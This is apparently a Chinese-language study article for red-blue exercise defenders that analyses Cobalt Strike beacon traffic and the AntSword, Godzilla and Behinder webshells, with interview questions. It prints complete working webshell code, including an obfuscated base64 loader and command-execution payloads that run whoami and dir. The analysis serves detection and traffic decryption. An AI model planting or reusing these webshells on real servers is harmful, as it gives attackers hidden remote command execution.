学习干货|HVV必学远控工具及Webshell流量合集分析(建议收藏+附面试题)

工具: C2/CobaltStrike工具: Webshell/蚁剑工具: Webshell/哥斯拉工具: Webshell/冰蝎      冰蝎2&冰蝎3&冰蝎4

CS客户端: 192.168.150.7C2服务端: 192.168.150.2被控主机: 192.168.150.1

public class EchoTest {
  public static long checksum8(String text) {
    if (text.length() < 4) {
      return 0L;
    }
    text = text.replace("/", "");
    long sum = 0L;
    for (int x = 0; x < text.length(); x++) {
      sum += text.charAt(x);
    }
    return sum % 256L;
  }
  public static void main(String[] args) throws Exception {
 // 我们此处请求的URL为rWDP    System.out.println(checksum8("rWDP"));
  }
}

工具:https://blog.didierstevens.com/2021/10/22/new-tool-cs-decrypt-metadata-py/

https://github.com/minhangxiaohui/CSthing/tree/master/1768_v0_0_8

https://github.com/DidierStevens/Beta/blob/master/cs-parse-http-traffic.py

CS的流量特征?答: 心跳包默认60秒，默认端口50050，随机或固定的UA根据版本判断，0.0.0.0是DNS beacon默认特征可以根据URL判断，根据初次下载payload的请求，遵循checksum8原则计算，当结果为92或93时，CS无魔改使用工具解密心跳流量，具体工具步骤见上关于https中，去查看同一系统下ja3及ja3s值是否一致判定DNS隧道技术来传输数据，在DNS请求中，域名可能以特定前缀开头（如“cdn.”、“www6.”、“api.”等），查询结果可能包含非常规的IP地址，这些地址用于指令传输或心跳检测对于而开的C2可提取样本分析

玄机平台有相关题目，有账号的师傅可以进行体验，邀请码下次会继续发

<?php// 设置 PHP 错误处理选项，禁止显示错误@ini_set("display_errors", "0");
// 设置 PHP 执行时间限制为无限制@set_time_limit(0);
// 获取当前 PHP 配置中的 open_basedir 选项$opdir = @ini_get("open_basedir");
// 如果存在 open_basedir 限制if ($opdir) {    // 获取当前脚本所在目录    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    // 将 open_basedir 选项按分号或冒号分割成数组    $oparr = preg_split("/;|:/", $opdir);
    // 将当前目录以及系统临时目录添加到 oparr 数组中    @array_push($oparr, $ocwd, sys_get_temp_dir());
    // 遍历 oparr 数组    foreach ($oparr as $item) {        // 如果当前项不可写，则继续下一项        if (!@is_writable($item)) {            continue;        }
        // 构建一个临时目录路径        $tmdir = $item . "/.19f4c";
        // 创建临时目录        @mkdir($tmdir);
        // 如果创建失败，则继续下一项        if (!@file_exists($tmdir)) {            continue;        }
        // 尝试进入临时目录并修改 open_basedir 选项        @chdir($tmdir);        @ini_set("open_basedir", "..");
        // 返回上级目录直到恢复正常的 open_basedir 设置        $cntarr = @preg_split("/\\\\|\//", $tmdir);        for ($i = 0; $i < sizeof($cntarr); $i++) {            @chdir("..");        }
        // 恢复 open_basedir 设置为默认        @ini_set("open_basedir", "/");
        // 删除临时目录        @rmdir($tmdir);
        // 结束循环        break;    }}
// 定义一个加密函数function asenc($out) {    return $out;}
// 定义一个输出函数function asoutput() {    // 获取输出缓冲区内容并清空缓冲区    $output = ob_get_contents();    ob_end_clean();
    // 输出加密前缀    echo "c072" . "4a7f9";
    // 输出经过加密函数加密后的内容    echo @asenc($output);
    // 输出加密后缀    echo "a54ec" . "40fa8";}
// 开始输出缓冲区ob_start();
// 尝试执行以下代码块try {    // 获取当前脚本所在目录    $D = dirname($_SERVER["SCRIPT_FILENAME"]);
    // 如果为空，则尝试使用 PATH_TRANSLATED 获取当前脚本所在目录    if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
    // 初始化返回结果字符串    $R = "{$D}    ";
    // 如果目录路径不是绝对路径，则尝试获取其他盘符    if (substr($D, 0, 1) != "/") {        foreach (range("C", "Z") as $L) {            if (is_dir("{$L}:")) $R .= "{$L}:";        }    } else {        $R .= "/";    }
    // 添加一个制表符    $R .= "    ";
    // 获取当前用户信息    $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";    $s = ($u) ? $u["name"] : @get_current_user();
    // 获取系统信息，并添加到结果字符串中    $R .= php_uname();    $R .= "    {$s}";
    // 输出结果字符串    echo $R;} catch (Exception $e) {    // 如果执行过程中发生异常，则输出错误信息    echo "ERROR://" . $e->getMessage();}
// 调用输出函数并结束脚本执行asoutput();die();?>

<?php echo $zhou=str_rot13("Zhoudi");echo "<br>";echo $zhou;echo "<br>";echo str_rot13($zhou);?>

蚁剑的特征：支持自定义加密，但shell不稳定，且对JSP兼容性比较差特征码为data:("display_errors" AND "set_time_limit(0)") agent:"antSword/v2.0或动态UA不同语言的特征：Php：assert、eval关键词执行Asp：eval在jsp中使用Java：同时会带有base64编码解码等字符特征

https://github.com/nocultrue/Deco_Godzilla

eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSZ3MWM0AzN2MTN2IzNzQTOn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSdvhmepF2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));

取出上方base64字符先反转DQpAc2Vzc2lvbl9zdGFydCgpOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQGVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIGVuY29kZSgkRCwkSyl7DQogICAgZm9yKCRpPTA7JGk8c3RybGVuKCREKTskaSsrKSB7DQogICAgICAgICRjID0gJEtbJGkrMSYxNV07DQogICAgICAgICREWyRpXSA9ICREWyRpXV4kYzsNCiAgICB9DQogICAgcmV0dXJuICREOw0KfQ0KJHBhc3M9J2FpemhvdSc7DQokcGF5bG9hZE5hbWU9J3BheWxvYWQnOw0KJGtleT0nOTQzNzI2NTM2NzA0MWM3ZSc7DQppZiAoaXNzZXQoJF9QT1NUWyRwYXNzXSkpew0KICAgICRkYXRhPWVuY29kZShiYXNlNjRfZGVjb2RlKCRfUE9TVFskcGFzc10pLCRrZXkpOw0KICAgIGlmIChpc3NldCgkX1NFU1NJT05bJHBheWxvYWROYW1lXSkpew0KICAgICAgICAkcGF5bG9hZD1lbmNvZGUoJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV0sJGtleSk7DQogICAgICAgIGlmIChzdHJwb3MoJHBheWxvYWQsImdldEJhc2ljc0luZm8iKT09PWZhbHNlKXsNCiAgICAgICAgICAgICRwYXlsb2FkPWVuY29kZSgkcGF5bG9hZCwka2V5KTsNCiAgICAgICAgfQ0KCQlldmFsKCRwYXlsb2FkKTsNCiAgICAgICAgZWNobyBzdWJzdHIobWQ1KCRwYXNzLiRrZXkpLDAsMTYpOw0KICAgICAgICBlY2hvIGJhc2U2NF9lbmNvZGUoZW5jb2RlKEBydW4oJGRhdGEpLCRrZXkpKTsNCiAgICAgICAgZWNobyBzdWJzdHIobWQ1KCRwYXNzLiRrZXkpLDE2KTsNCiAgICB9ZWxzZXsNCiAgICAgICAgaWYgKHN0cnBvcygkZGF0YSwiZ2V0QmFzaWNzSW5mbyIpIT09ZmFsc2Upew0KICAgICAgICAgICAgJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV09ZW5jb2RlKCRkYXRhLCRrZXkpOw0KICAgICAgICB9DQogICAgfQ0KfQ0K

反转后数据进行base64解码<?php
@session_start();@set_time_limit(0);@error_reporting(0);function encode($D,$K){    for($i=0;$i<strlen($D);$i++) {        $c = $K[$i+1&15];        $D[$i] = $D[$i]^$c;    }    return $D;}$pass='aizhou';$payloadName='payload';$key='9437265367041c7e';if (isset($_POST[$pass])){    $data=encode(base64_decode($_POST[$pass]),$key);    if (isset($_SESSION[$payloadName])){        $payload=encode($_SESSION[$payloadName],$key);        if (strpos($payload,"getBasicsInfo")===false){            $payload=encode($payload,$key);        }    eval($payload);        echo substr(md5($pass.$key),0,16);        echo base64_encode(encode(@run($data),$key));        echo substr(md5($pass.$key),16);    }else{        if (strpos($data,"getBasicsInfo")!==false){            $_SESSION[$payloadName]=encode($data,$key);        }    }}
?>

1. 哥斯拉工具有没有了解过按照自我认知进行回答，如上方简要概述其中部分内容如上方复现其中部分过程2. 哥斯拉了解吗，讲讲原理先进行理论回答，选出其中一部分代码进行大概回答通信过程如PHP_EVAL_XOR_BASE64通信过程，如何解密等3. 哥斯拉的特征按照上方特征内容进行回答即可

<?php
@error_reporting(0);
session_start();
// 检查是否传递了名为 "pass" 的 GET 参数if (isset($_GET['pass'])) {    // 生成一个随机的密钥    $key = substr(md5(uniqid(rand())), 16);    // 将密钥存储在会话变量中    $_SESSION['k'] = $key;    // 打印出生成的密钥    print $key;} else {    // 如果未传递 "pass" 参数，则获取存储在会话中的密钥    $key = $_SESSION['k'];    // 从 HTTP 请求的主体中获取数据    $post = file_get_contents("php://input");        // 检查是否加载了 OpenSSL 扩展    if (!extension_loaded('openssl')) {        // 如果没有加载 OpenSSL 扩展，则使用基于 base64 的简单加密解密方法        // 使用位运算对数据进行简单的异或操作        $t = "base64_" . "decode"; // 解码函数        $post = $t($post . ""); // 执行解码操作                // 对解码后的数据进行异或解密操作        for ($i = 0; $i < strlen($post); $i++) {            $post[$i] = $post[$i] ^ $key[$i + 1 & 15]; // 异或操作        }    } else {        // 如果加载了 OpenSSL 扩展，则使用 AES128 解密算法进行解密        $post = openssl_decrypt($post, "AES128", $key);    }        // 将解密后的数据按 "|" 进行分割，得到函数名和参数    $arr = explode('|', $post);    $func = $arr[0]; // 获取函数名    $params = $arr[1]; // 获取参数        // 创建一个类 C，其中包含 __invoke 方法，用于调用传递的函数和参数    class C {        public function __invoke($p) {            // 使用 eval 函数执行传递的函数代码            eval($p . "");        }    }        // 使用 call_user_func 函数调用类 C 的实例，并传递参数    @call_user_func(new C(), $params);}?>

assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCg0KZnVuY3Rpb24gZ2V0U2FmZVN0cigkc3RyKXsNCiAgICAkczEgPSBpY29udigndXRmLTgnLCdnYmsvL0lHTk9SRScsJHN0cik7DQogICAgJHMwID0gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzMSk7DQogICAgaWYoJHMwID09ICRzdHIpew0KICAgICAgICByZXR1cm4gJHMwOw0KICAgIH1lbHNlew0KICAgICAgICByZXR1cm4gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzdHIpOw0KICAgIH0NCn0NCmZ1bmN0aW9uIG1haW4oJGNtZCkNCnsNCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICAgQGlnbm9yZV91c2VyX2Fib3J0KDEpOw0KICAgIEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsNCiAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAkUGFkdEpuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQogICAgaWYgKCEgZW1wdHkoJFBhZHRKbikpIHsNCiAgICAgICAgJFBhZHRKbiA9IHByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBleHBsb2RlKCcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBhcnJheV9tYXAoJ3RyaW0nLCAkUGFkdEpuKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkUGFkdEpuID0gYXJyYXkoKTsNCiAgICB9DQogICAgJGMgPSAkY21kOw0KICAgIGlmIChGQUxTRSAhPT0gc3RycG9zKHN0cnRvbG93ZXIoUEhQX09TKSwgJ3dpbicpKSB7DQogICAgICAgICRjID0gJGMgLiAiIDI+JjFcbiI7DQogICAgfQ0KICAgICRKdWVRREJIID0gJ2lzX2NhbGxhYmxlJzsNCiAgICAkQnZjZSA9ICdpbl9hcnJheSc7DQogICAgaWYgKCRKdWVRREJIKCdzeXN0ZW0nKSBhbmQgISAkQnZjZSgnc3lzdGVtJywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgc3lzdGVtKCRjKTsNCiAgICAgICAgJGtXSlcgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICAgb2JfZW5kX2NsZWFuKCk7DQogICAgfSBlbHNlIGlmICgkSnVlUURCSCgncHJvY19vcGVuJykgYW5kICEgJEJ2Y2UoJ3Byb2Nfb3BlbicsICRQYWR0Sm4pKSB7DQogICAgICAgICRoYW5kbGUgPSBwcm9jX29wZW4oJGMsIGFycmF5KA0KICAgICAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAgICAgJ3BpcGUnLA0KICAgICAgICAgICAgICAgICdyJw0KICAgICAgICAgICAgKSwNCiAgICAgICAgICAgIGFycmF5KA0KICAgICAgICAgICAgICAgICdwaXBlJywNCiAgICAgICAgICAgICAgICAndycNCiAgICAgICAgICAgICksDQogICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAncGlwZScsDQogICAgICAgICAgICAgICAgJ3cnDQogICAgICAgICAgICApDQogICAgICAgICksICRwaXBlcyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgd2hpbGUgKCEgZmVvZigkcGlwZXNbMV0pKSB7DQogICAgICAgICAgICAka1dKVyAuPSBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KICAgICAgICB9DQogICAgICAgIEBwcm9jX2Nsb3NlKCRoYW5kbGUpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ3Bhc3N0aHJ1JykgYW5kICEgJEJ2Y2UoJ3Bhc3N0aHJ1JywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgcGFzc3RocnUoJGMpOw0KICAgICAgICAka1dKVyA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAgICBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdzaGVsbF9leGVjJykgYW5kICEgJEJ2Y2UoJ3NoZWxsX2V4ZWMnLCAkUGFkdEpuKSkgew0KICAgICAgICAka1dKVyA9IHNoZWxsX2V4ZWMoJGMpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ2V4ZWMnKSBhbmQgISAkQnZjZSgnZXhlYycsICRQYWR0Sm4pKSB7DQogICAgICAgICRrV0pXID0gYXJyYXkoKTsNCiAgICAgICAgZXhlYygkYywgJGtXSlcpOw0KICAgICAgICAka1dKVyA9IGpvaW4oY2hyKDEwKSwgJGtXSlcpIC4gY2hyKDEwKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdleGVjJykgYW5kICEgJEJ2Y2UoJ3BvcGVuJywgJFBhZHRKbikpIHsNCiAgICAgICAgJGZwID0gcG9wZW4oJGMsICdyJyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRmcCkpIHsNCiAgICAgICAgICAgIHdoaWxlICghIGZlb2YoJGZwKSkgew0KICAgICAgICAgICAgICAgICRrV0pXIC49IGZyZWFkKCRmcCwgMTAyNCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgQHBjbG9zZSgkZnApOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRrV0pXID0gMDsNCiAgICAgICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJmYWlsIik7DQogICAgICAgICRyZXN1bHRbIm1zZyJdID0gYmFzZTY0X2VuY29kZSgibm9uZSBvZiBwcm9jX29wZW4vcGFzc3RocnUvc2hlbGxfZXhlYy9leGVjL2V4ZWMgaXMgYXZhaWxhYmxlIik7DQogICAgICAgICRrZXkgPSAkX1NFU1NJT05bJ2snXTsNCiAgICAgICAgZWNobyBlbmNyeXB0KGpzb25fZW5jb2RlKCRyZXN1bHQpLCAka2V5KTsNCiAgICAgICAgcmV0dXJuOw0KICAgICAgICANCiAgICB9DQogICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKGdldFNhZmVTdHIoJGtXSlcpKTsNCiAgICBlY2hvIGVuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksICAkX1NFU1NJT05bJ2snXSk7DQp9DQoNCmZ1bmN0aW9uIGVuY3J5cHQoJGRhdGEsJGtleSkNCnsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQ0KICAgIAl7DQogICAgCQlmb3IoJGk9MDskaTxzdHJsZW4oJGRhdGEpOyRpKyspIHsNCiAgICAJCQkgJGRhdGFbJGldID0gJGRhdGFbJGldXiRrZXlbJGkrMSYxNV07IA0KICAgIAkJCX0NCgkJCXJldHVybiAkZGF0YTsNCiAgICAJfQ0KICAgIGVsc2UNCiAgICAJew0KICAgIAkJcmV0dXJuIG9wZW5zc2xfZW5jcnlwdCgkZGF0YSwgIkFFUzEyOCIsICRrZXkpOw0KICAgIAl9DQp9JGNtZD0id2hvYW1pIjsNCm1haW4oJGNtZCk7'));

@error_reporting(0);
function getSafeStr($str){    $s1 = iconv('utf-8','gbk//IGNORE',$str);    $s0 = iconv('gbk','utf-8//IGNORE',$s1);    if($s0 == $str){        return $s0;    }else{        return iconv('gbk','utf-8//IGNORE',$str);    }}function main($cmd){    @set_time_limit(0);    @ignore_user_abort(1);    @ini_set('max_execution_time', 0);    $result = array();    $PadtJn = @ini_get('disable_functions');    if (! empty($PadtJn)) {        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);        $PadtJn = explode(',', $PadtJn);        $PadtJn = array_map('trim', $PadtJn);    } else {        $PadtJn = array();    }    $c = $cmd;    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {        $c = $c . " 2>&1\n";    }    $JueQDBH = 'is_callable';    $Bvce = 'in_array';    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {        ob_start();        system($c);        $kWJW = ob_get_contents();        ob_end_clean();    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {        $handle = proc_open($c, array(            array(                'pipe',                'r'            ),            array(                'pipe',                'w'            ),            array(                'pipe',                'w'            )        ), $pipes);        $kWJW = NULL;        while (! feof($pipes[1])) {            $kWJW .= fread($pipes[1], 1024);        }        @proc_close($handle);    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {        ob_start();        passthru($c);        $kWJW = ob_get_contents();        ob_end_clean();    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {        $kWJW = shell_exec($c);    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {        $kWJW = array();        exec($c, $kWJW);        $kWJW = join(chr(10), $kWJW) . chr(10);    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {        $fp = popen($c, 'r');        $kWJW = NULL;        if (is_resource($fp)) {            while (! feof($fp)) {                $kWJW .= fread($fp, 1024);            }        }        @pclose($fp);    } else {        $kWJW = 0;        $result["status"] = base64_encode("fail");        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");        $key = $_SESSION['k'];        echo encrypt(json_encode($result), $key);        return;            }    $result["status"] = base64_encode("success");    $result["msg"] = base64_encode(getSafeStr($kWJW));    echo encrypt(json_encode($result),  $_SESSION['k']);}
function encrypt($data,$key){  if(!extension_loaded('openssl'))      {        for($i=0;$i<strlen($data);$i++) {           $data[$i] = $data[$i]^$key[$i+1&15];           }      return $data;      }    else      {        return openssl_encrypt($data, "AES128", $key);      }}$cmd="whoami";main($cmd);

assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCg0KZnVuY3Rpb24gZ2V0U2FmZVN0cigkc3RyKXsNCiAgICAkczEgPSBpY29udigndXRmLTgnLCdnYmsvL0lHTk9SRScsJHN0cik7DQogICAgJHMwID0gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzMSk7DQogICAgaWYoJHMwID09ICRzdHIpew0KICAgICAgICByZXR1cm4gJHMwOw0KICAgIH1lbHNlew0KICAgICAgICByZXR1cm4gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzdHIpOw0KICAgIH0NCn0NCmZ1bmN0aW9uIG1haW4oJGNtZCkNCnsNCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICAgQGlnbm9yZV91c2VyX2Fib3J0KDEpOw0KICAgIEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsNCiAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAkUGFkdEpuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQogICAgaWYgKCEgZW1wdHkoJFBhZHRKbikpIHsNCiAgICAgICAgJFBhZHRKbiA9IHByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBleHBsb2RlKCcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBhcnJheV9tYXAoJ3RyaW0nLCAkUGFkdEpuKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkUGFkdEpuID0gYXJyYXkoKTsNCiAgICB9DQogICAgJGMgPSAkY21kOw0KICAgIGlmIChGQUxTRSAhPT0gc3RycG9zKHN0cnRvbG93ZXIoUEhQX09TKSwgJ3dpbicpKSB7DQogICAgICAgICRjID0gJGMgLiAiIDI+JjFcbiI7DQogICAgfQ0KICAgICRKdWVRREJIID0gJ2lzX2NhbGxhYmxlJzsNCiAgICAkQnZjZSA9ICdpbl9hcnJheSc7DQogICAgaWYgKCRKdWVRREJIKCdzeXN0ZW0nKSBhbmQgISAkQnZjZSgnc3lzdGVtJywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgc3lzdGVtKCRjKTsNCiAgICAgICAgJGtXSlcgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICAgb2JfZW5kX2NsZWFuKCk7DQogICAgfSBlbHNlIGlmICgkSnVlUURCSCgncHJvY19vcGVuJykgYW5kICEgJEJ2Y2UoJ3Byb2Nfb3BlbicsICRQYWR0Sm4pKSB7DQogICAgICAgICRoYW5kbGUgPSBwcm9jX29wZW4oJGMsIGFycmF5KA0KICAgICAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAgICAgJ3BpcGUnLA0KICAgICAgICAgICAgICAgICdyJw0KICAgICAgICAgICAgKSwNCiAgICAgICAgICAgIGFycmF5KA0KICAgICAgICAgICAgICAgICdwaXBlJywNCiAgICAgICAgICAgICAgICAndycNCiAgICAgICAgICAgICksDQogICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAncGlwZScsDQogICAgICAgICAgICAgICAgJ3cnDQogICAgICAgICAgICApDQogICAgICAgICksICRwaXBlcyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgd2hpbGUgKCEgZmVvZigkcGlwZXNbMV0pKSB7DQogICAgICAgICAgICAka1dKVyAuPSBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KICAgICAgICB9DQogICAgICAgIEBwcm9jX2Nsb3NlKCRoYW5kbGUpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ3Bhc3N0aHJ1JykgYW5kICEgJEJ2Y2UoJ3Bhc3N0aHJ1JywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgcGFzc3RocnUoJGMpOw0KICAgICAgICAka1dKVyA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAgICBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdzaGVsbF9leGVjJykgYW5kICEgJEJ2Y2UoJ3NoZWxsX2V4ZWMnLCAkUGFkdEpuKSkgew0KICAgICAgICAka1dKVyA9IHNoZWxsX2V4ZWMoJGMpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ2V4ZWMnKSBhbmQgISAkQnZjZSgnZXhlYycsICRQYWR0Sm4pKSB7DQogICAgICAgICRrV0pXID0gYXJyYXkoKTsNCiAgICAgICAgZXhlYygkYywgJGtXSlcpOw0KICAgICAgICAka1dKVyA9IGpvaW4oY2hyKDEwKSwgJGtXSlcpIC4gY2hyKDEwKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdleGVjJykgYW5kICEgJEJ2Y2UoJ3BvcGVuJywgJFBhZHRKbikpIHsNCiAgICAgICAgJGZwID0gcG9wZW4oJGMsICdyJyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRmcCkpIHsNCiAgICAgICAgICAgIHdoaWxlICghIGZlb2YoJGZwKSkgew0KICAgICAgICAgICAgICAgICRrV0pXIC49IGZyZWFkKCRmcCwgMTAyNCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgQHBjbG9zZSgkZnApOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRrV0pXID0gMDsNCiAgICAgICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJmYWlsIik7DQogICAgICAgICRyZXN1bHRbIm1zZyJdID0gYmFzZTY0X2VuY29kZSgibm9uZSBvZiBwcm9jX29wZW4vcGFzc3RocnUvc2hlbGxfZXhlYy9leGVjL2V4ZWMgaXMgYXZhaWxhYmxlIik7DQogICAgICAgICRrZXkgPSAkX1NFU1NJT05bJ2snXTsNCiAgICAgICAgZWNobyBlbmNyeXB0KGpzb25fZW5jb2RlKCRyZXN1bHQpLCAka2V5KTsNCiAgICAgICAgcmV0dXJuOw0KICAgICAgICANCiAgICB9DQogICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKGdldFNhZmVTdHIoJGtXSlcpKTsNCiAgICBlY2hvIGVuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksICAkX1NFU1NJT05bJ2snXSk7DQp9DQoNCmZ1bmN0aW9uIGVuY3J5cHQoJGRhdGEsJGtleSkNCnsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQ0KICAgIAl7DQogICAgCQlmb3IoJGk9MDskaTxzdHJsZW4oJGRhdGEpOyRpKyspIHsNCiAgICAJCQkgJGRhdGFbJGldID0gJGRhdGFbJGldXiRrZXlbJGkrMSYxNV07IA0KICAgIAkJCX0NCgkJCXJldHVybiAkZGF0YTsNCiAgICAJfQ0KICAgIGVsc2UNCiAgICAJew0KICAgIAkJcmV0dXJuIG9wZW5zc2xfZW5jcnlwdCgkZGF0YSwgIkFFUzEyOCIsICRrZXkpOw0KICAgIAl9DQp9JGNtZD0iZGlyIjsNCm1haW4oJGNtZCk7'));

status: success 驱动器 D 中的卷是 Data 卷的序列号是 529D-ACBF
 D:\phpstudy_pro\WWW\ 的目录
2024/05/29  11:02    <DIR>          .2024/05/29  11:02    <DIR>          ..2024/05/20  15:33                 0 .htaccess2024/05/20  15:30    <DIR>          error2024/05/20  16:36               179 index.php2024/05/20  15:33                 0 nginx.htaccess2024/05/29  11:12               619 shell.php2019/02/14  17:20               667 shelll.php2024/05/20  17:43           219,002 swagger.csv2024/05/28  10:52               108 test.php               7 个文件        220,575 字节               3 个目录 15,938,629,632 可用字节

